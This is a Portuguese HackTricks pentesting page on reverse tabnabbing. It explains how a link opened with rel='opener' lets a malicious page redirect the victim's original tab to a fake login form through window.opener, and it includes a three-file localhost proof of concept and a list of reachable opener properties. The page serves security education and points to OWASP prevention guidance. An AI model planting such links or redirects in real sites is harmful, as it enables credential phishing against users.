hacktricks/pentesting-web/reverse-tab-nabbing.md

117 lines
6.4 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
# Descrição
Em uma situação onde um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicada por uma vítima, o **atacante** **aponta** este **link** para uma web sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site** **malicioso** poderá **controlar** a **página** **original** via o objeto javascript **`window.opener`**.\
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela pode também ser vulnerável.
Uma maneira comum de abusar desse comportamento seria **mudar a localização da web original** via `window.opener.location = https://attacker.com/victim.html` para uma web controlada pelo atacante que **parece com a original**, para que possa **imitar** o **formulário** de **login** do site original e pedir credenciais ao usuário.
No entanto, note que como o **atacante agora pode controlar o objeto window do site original** ele pode abusar disso de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
# Visão Geral
## Com link de retorno
Link entre páginas pai e filho quando o atributo de prevenção não é usado:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Sem link de retorno
Link entre páginas pai e filho quando o atributo de prevenção é usado:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Exemplos <a href="#examples" id="examples"></a>
Crie as seguintes páginas em uma pasta e execute um servidor web com `python3 -m http.server`\
Então, **acesse** `http://127.0.0.1:8000/`vulnerable.html, **clique** no link e note como a **URL** do **site** **original** **muda**.
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>
No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript **window**, referida pela referência do objeto JavaScript **opener**, que podem ser acessadas por um site malicioso são limitadas ao seguinte:
- **`opener.closed`**: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
- **`opener.frames`**: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
- **`opener.length`**: O número de elementos iframe presentes na janela atual é retornado por esta propriedade.
- **`opener.opener`**: Uma referência à janela que abriu a janela atual pode ser obtida através desta propriedade.
- **`opener.parent`**: Esta propriedade retorna a janela pai da janela atual.
- **`opener.self`**: O acesso à própria janela atual é fornecido por esta propriedade.
- **`opener.top`**: Esta propriedade retorna a janela do navegador mais alta.
No entanto, em instâncias onde os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
# Prevenção
As informações de prevenção estão documentadas no [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
## Referências
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}